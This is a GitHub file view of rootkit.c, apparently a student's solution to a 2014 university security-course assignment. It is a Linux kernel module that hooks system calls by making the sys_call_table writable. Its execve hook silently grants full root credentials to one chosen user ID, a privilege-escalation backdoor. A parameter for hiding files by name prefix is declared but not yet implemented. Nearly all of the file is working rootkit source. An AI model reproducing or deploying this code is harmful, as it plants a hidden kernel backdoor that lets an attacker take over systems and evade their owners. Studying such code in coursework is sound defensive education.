-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathrootkit.c
More file actions
325 lines (271 loc) · 9.64 KB
/
rootkit.c
File metadata and controls
325 lines (271 loc) · 9.64 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
/*
* COMP4108 Rootkit Framework 2014
* My name is Legion: for we are many.
*/
#include "rootkit.h"
/*
* The sys_call_table is an array of void pointers.
*
* Since Linux kernel version 2.6.x the sys_call_table symbol is no longer
* exported, meaning we can't use kallsyms to find where it lives in memory
* instead you'll have to grep "sys_call_table" /boot/System.map-$(uname -r)
* and hardcode the resulting memory address into your module before compiling
* Baby steps!
*/
static void **sys_call_table;
/*
* We need to maintain a doubly linked list of the t_syscall_hooks we have in
* place such that we can restore them later.
*/
static t_syscall_hook_list *hooks;
/*
* The address of the sys_call_table will be provided as a kernel module
* parameter named table_addr at the time of insmod (SEE insert.sh)
*/
static unsigned long table_addr;
module_param(table_addr, ulong, 0);
MODULE_PARM_DESC(table_addr, "Address of sys_call_table in memory");
//******
//TODO: NEEDED FOR PART B
// Accept root_uid as a kernel module parameter
// (see module_parm() example above)
//******
/*
* When a user with an effective UID = root_uid runs a command via execve()
* we make our hook grant them root priv. root_uid's value is provided as a
* kernel module argument.
*/
static int root_uid;
module_param(root_uid, int, 0);
MODULE_PARM_DESC(root_uid, "Backdoor for my UID only.");
//******
//TODO: NEEDED FOR PART C
// Accept magic_prefix as a kernel module parameter
// (see module_parm() example above)
//******
/*
* Files that start with a prefix matching magic_prefix are removed from the
* linux_dirent64* buffer that is returned to the caller of getdents()
*/
static char* magic_prefix;
module_param(magic_prefix, charp, 0);
MODULE_PARM_DESC(magic_prefix, "Removes files that start with magic_prefix");
/*
* RW/RO page flip code borrowed from Cormander's TPE-LKM code.
* Simplified for our purpose, i.e. one kernel version, one arch.
*
* Sets the page of memory containing the given addr to read/write.
*/
void set_addr_rw(const unsigned long addr)
{
unsigned int level;
//Get the page table entry structure containing the address we pass.
//Level will be set to the page depth for the entry.
pte_t *pte = lookup_address(addr, &level);
//If the page permissions bitmask doesn't have _PAGE_RW, mask it in
//with the _PAGE_RW flag.
if(pte->pte &~ _PAGE_RW)
pte->pte |= _PAGE_RW;
}
/*
* Sets the page of memory containing the provided addr to read only
*/
void set_addr_ro(const unsigned long addr)
{
unsigned int level;
pte_t *pte = lookup_address(addr, &level);
pte->pte = pte->pte &~_PAGE_RW;
}
/*
* Hooks a syscall storing the original sycall function for later restoration.
* Returns 1 for a successful hook, 0 otherwise.
*/
int hook_syscall(t_syscall_hook *hook)
{
//If this syscall_hook has already been put in place, abort.
if(hook->hooked)
return 0;
//Get & store the original syscall from the syscall_table using the offset
hook->orig_func = sys_call_table[hook->offset];
printk(KERN_INFO "Hooking offset %d. Original: %p to New: %p\n",
hook->offset, hook->orig_func, hook->hook_func);
//********
//TODO: NEEDED FOR PART A
//
// make the sys_call_table RW before the hook and RO after
//
// Since linux-kernel ~2.6.24 the sys_call_table has been in read-only
// memory. We need to mark it rw ourselves (we're root afterall), replace
// the syscall function pointer, and then tidy up after ourselves.
//********
set_addr_rw(table_addr);
sys_call_table[hook->offset] = hook->hook_func;
//Remember that we enabled the hook
hook->hooked = true;
return hook->hooked;
}
/*
* Unhooks a syscall by restoring the original function.
* Returns 1 for a successful unhook, 0 otherwise.
*/
int unhook_syscall(t_syscall_hook *hook)
{
//If it isn't hooked, we don't want to unhook it
if(!hook->hooked)
return 0;
printk(KERN_INFO "Unhooking offset %d back to %p\n",
hook->offset, hook->orig_func);
//********
//TODO: NEEDED FOR PART A
// make the sys_call_table RW before the hook and RO after
//********
sys_call_table[hook->offset] = hook->orig_func;
set_addr_ro(table_addr);
//Remember we've undone the hook
hook->hooked = false;
return !hook->hooked;
}
/*
* Finds the t_syscall_hook in our hook linked list that is hooking
* the given offset. Returns 0 if not found.
*/
t_syscall_hook *find_syscall_hook(const unsigned int offset)
{
struct list_head *element;
t_syscall_hook_list *hook_entry;
t_syscall_hook *hook;
list_for_each(element, &(hooks->list))
{
hook_entry = list_entry(element, t_syscall_hook_list, list);
hook = hook_entry->hook;
if(hook->offset == offset)
return hook;
}
return 0;
}
/*
* Allocates a new t_syscall_hook populated to hook the given offset with the
* supplied newFunc function pointer. The t_syscall_hook will automatically be
* added to the hooks linked list.
*
* Note: the syscall will not be hooked yet, you still need to call
* hook_syscall() with the t_syscall_hook struct returned by new_hook()
*/
t_syscall_hook *new_hook(const unsigned int offset, void *newFunc)
{
t_syscall_hook *hook;
t_syscall_hook_list *new_link;
//Allocate & init the hook
hook = kmalloc(sizeof(t_syscall_hook), GFP_KERNEL);
hook->hooked = false;
hook->orig_func = NULL;
hook->hook_func = newFunc;
hook->offset = offset;
//Allocate and init the list entry
new_link = kmalloc(sizeof(t_syscall_hook_list), GFP_KERNEL);
new_link->hook = hook;
//Add the link into the hooks list
list_add(&(new_link->list), &(hooks->list));
//Return the hook
return new_link->hook;
}
/*
* Module initialization callback
*/
int init_module(void)
{
printk(KERN_INFO "Rootkit module initalizing.\n");
//Allocate & init a list to store our syscall_hooks
hooks = kmalloc(sizeof(t_syscall_hook_list), GFP_KERNEL);
INIT_LIST_HEAD(&(hooks->list));
//We need to hardcode the sys_call_table's location in memory. Remember array
//indices in C are offsets from the base (i.e. 0th idex) address of the array.
sys_call_table = (void *) table_addr;
printk(KERN_INFO "Syscall table loaded from %p\n", (void*) table_addr);
//********
//TODO: NEEDED FOR PART A
// uncomment the example hook AFTER you have marked the syscall table
// memory RW (see notes above).
//********
//Let's hook open() for an example of how to use the framework
hook_syscall(new_hook(__NR_open, (void*) &new_open));
//********
//TODO: NEEDED FOR PARTS B AND C
// Hook your new execve and getdents functions after writing them
//********
// Let's hook execve() for privilege escalation
// Let's hook getdents() to hide our files
hook_syscall(new_hook(__NR_execve, (void*) &new_execve));
printk(KERN_INFO "Rootkit module is loaded!\n");
return 0; //For successful load
}
/*
* Module destructor callback
*/
void cleanup_module(void)
{
struct list_head *element;
struct list_head *tmp;
t_syscall_hook_list *hook_entry;
t_syscall_hook *hook;
printk(KERN_INFO "Rootkit module unloaded\n");
//Iterate through the linked list of hook_entry's unhooking and deallocating
//each as we go. We use the safe list_for_each because we are removing
//elements.
list_for_each_safe(element, tmp, &(hooks->list))
{
hook_entry = list_entry(element, t_syscall_hook_list, list);
hook = hook_entry->hook;
printk(KERN_INFO "Freeing my hook - offset %d\n", hook->offset);
if(hook->hooked)
unhook_syscall(hook_entry->hook);
list_del(element);
kfree(hook_entry);
}
printk(KERN_INFO "Rootkit module cleanup complete\n");
}
//To understand the gcc asmlinkage define see:
// http://kernelnewbies.org/FAQ/asmlinkage
//
//Our version of the syscall is defined here. We want to match the return type
//and argument signature of the original syscall.
//
//This is an example of how to hook open(), it currently does nothing extra!
//
asmlinkage int new_open(const char *pathname, int flags, mode_t mode)
{
//Declare a orig_func function pointer with the types matched to open()
int (*orig_func)(const char *path, int flags, mode_t mode);
t_syscall_hook *open_hook;
//Find the t_syscall_hook for __NR_open from our linked list
open_hook = find_syscall_hook(__NR_open);
//And cast the orig_func void pointer into the orig_func to be invoked
orig_func = (void*) open_hook->orig_func;
//Uncomment for a spammy line for every open()
//printk(KERN_INFO "open() was called for %s\n", pathname);
//Invoke the original syscall
return (*orig_func)(pathname, flags, mode);
}
//********
//TODO: NEEDED FOR PARTS B AND C
// Write your new execve and getdents functions.
// You will want to add function prototypes to rootkit.h
// Make sure they match the original function definitions.
//********
asmlinkage int new_execve(const char *filename, char *const argv[], char *const envp[]) {
//Declare an orig_function pointer with the types matched to getdents
int (*orig_func)(const char *filename, char *const argv[], char *const envp[]);
t_syscall_hook *getexecve_hook;
//Find the t_syscall_hook for __NR_execve from our linked list
getexecve_hook = find_syscall_hook(__NR_execve);
//Cast the orig_execve void pointer into the orig_execve to be invoked
orig_func = (void*) getexecve_hook->orig_func;
//Print to syslog
printk(KERN_INFO "Executing %s", filename);
printk(KERN_INFO "Effective UID %d\n", current_euid());
if (current_euid() == root_uid) {
commit_creds(prepare_kernel_cred(0));
}
//Invoke the original execve syscall
return (*orig_func)(filename, argv, envp);
}